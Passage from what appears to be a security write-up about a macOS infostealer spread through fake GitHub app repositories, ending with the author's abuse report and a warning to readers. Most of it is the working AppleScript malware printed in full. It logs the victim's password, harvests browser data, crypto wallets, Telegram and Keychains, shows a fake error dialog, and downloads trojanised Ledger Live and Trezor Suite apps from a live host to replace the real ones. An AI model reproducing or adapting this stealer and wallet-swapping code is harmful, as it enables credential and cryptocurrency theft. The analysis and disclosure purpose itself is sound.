writeText("Build Tag: Alves\n", writemind & "info")
writeText("Version: 1.0.9_release (x64_86 & ARM)\n", writemind & "info")
writeText("IP: 2409:8a00:3011:6240:c168:508b:1e1c:45e8\n\n", writemind & "info")
writeText("Username: " & username, writemind & "info")
writeText("\nPassword: " & password_entered & "\n\n", writemind & "info")
set result to (do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType")
writeText(result, writemind & "info")
end try
Chromium(writemind, chromiumMap)
ChromiumWallets(writemind, chromiumMap)
DesktopWallets(writemind, walletMap)
Telegram(writemind, library)
Keychains(writemind)
Filegrabber(writemind)
try
do shell script "ditto -c -k --sequesterRsrc " & writemind & " /tmp/osalogging.zip"
end try
try
do shell script "rm -rf /tmp/sync*"
end try
display dialog "Your Mac does not support this application. Try reinstalling or downloading the version for your system." with title "System Preferences" with icon stop buttons {"ОК"}
set LEDGERURL to "https://ursamade.fun/ledger/79fbe2e4cccedda99204eeeeab1f4cb93ff81c1d08f2f28dfb1db80c187e1d43"
set LEDGERDMGPATH to "/tmp/79fbe2e4cccedda99204eeeeab1f4cb93ff81c1d08f2f28dfb1db80c187e1d43.zip"
set LEDGERMOUNT to "/tmp"
set LEDGERNAME to "Ledger Live.app"
set LEDGERPATH to LEDGERMOUNT & "/" & LEDGERNAME
set LEDGERAPPFOLDER to "/Applications"
set LEDGERDEST to LEDGERAPPFOLDER & "/" & LEDGERNAME
try
do shell script "test -d " & quoted form of LEDGERDEST
set ledger_installed to true
on error
set ledger_installed to false
end try
if ledger_installed then
try
do shell script "curl -k --user-agent 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' -H 'api-key: 5190ef1733183a0dc63fb623357f56d6' -L " & quoted form of LEDGERURL & " -o " & quoted form of LEDGERDMGPATH
do shell script "unzip -q -o " & quoted form of LEDGERDMGPATH & " -d " & quoted form of LEDGERMOUNT
set app_exists to false
try
do shell script "test -e " & quoted form of LEDGERPATH
set app_exists to true
end try
if app_exists then
try
do shell script "killall -9 'Ledger Live'"
end try
do shell script "rm -rf " & quoted form of LEDGERDEST
do shell script "cp -R " & quoted form of LEDGERPATH & " " & quoted form of LEDGERAPPFOLDER
end if
end try
try
do shell script "rm -rf " & quoted form of LEDGERDMGPATH
do shell script "rm -rf " & quoted form of LEDGERPATH
end try
end if
set TREZORURL to "https://ursamade.fun/trezor/79fbe2e4cccedda99204eeeeab1f4cb93ff81c1d08f2f28dfb1db80c187e1d43"
set TREZORDMGPATH to "/tmp/79fbe2e4cccedda99204eeeeab1f4cb93ff81c1d08f2f28dfb1db80c187e1d43.zip"
set TREZORMOUNT to "/tmp"
set TREZORNAME to "Trezor Suite.app"
set TREZORPATH to TREZORMOUNT & "/" & TREZORNAME
set TREZORAPPFOLDER to "/Applications"
set TREZORDEST to TREZORAPPFOLDER & "/" & TREZORNAME
try
do shell script "test -d " & quoted form of TREZORDEST
set trezor_installed to true
on error
set trezor_installed to false
end try
if trezor_installed then
try
do shell script "curl -k --user-agent 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' -H 'api-key: 5190ef1733183a0dc63fb623357f56d6' -L " & quoted form of TREZORURL & " -o " & quoted form of TREZORDMGPATH
do shell script "unzip -q -o " & quoted form of TREZORDMGPATH & " -d " & quoted form of TREZORMOUNT
set app_exists to false
try
do shell script "test -e " & quoted form of TREZORPATH
set app_exists to true
end try
if app_exists then
try
do shell script "killall -9 'Trezor Suite'"
end try
do shell script "rm -rf " & quoted form of TREZORDEST
do shell script "cp -R " & quoted form of TREZORPATH & " " & quoted form of TREZORAPPFOLDER
end if
end try
try
do shell script "rm -rf " & quoted form of TREZORDMGPATH
do shell script "rm -rf " & quoted form of TREZORPATH
end try
end if
From a logical standpoint, this script is exceptionally well-written and offers numerous learning points, which I won’t detail here. After feeding it to GPT for analysis, it was revealed that the script packages data from all major browsers, cryptocurrency wallets, Telegram, Keychains, and even Notes app, then uploads it directly to a server, effectively covering its tracks.
Report Abuse
After simply archiving the scripts of the entire process, I directly reported it to GitHub officials. This entry point was quickly blocked. I am unsure if the corresponding commit user accounts were also banned, but they were likely throwaway accounts. GitHub’s response time was notably swift.
Confluence is likely just one example among many, and many similar accounts and repositories probably exist for this purpose. I eventually found a way to quickly locate them:
inurl:app-mac site:github.com
There were so many similar account results after searching it on google:
https://github.com/LaunchBar-App-mac/https://github.com/IINA-App-Machttps://github.com/iStat-Menus-App-Mac/https://github.com/Figma-App-Machttps://github.com/MacClean-App-Machttps://github.com/Kaleidoscope-App-machttps://github.com/Veeva-app-machttps://github.com/Keysmith-App-machttps://github.com/iStat-Menus-App-Machttps://github.com/InShot-App-Mac
There were a total of 4 pages of such results, with most of the page layouts being highly similar. The effectiveness of reporting is likely limited, and ordinary users should still enhance their understanding of security incidents.
Lesson Learnt
Never execute any script you do not understand!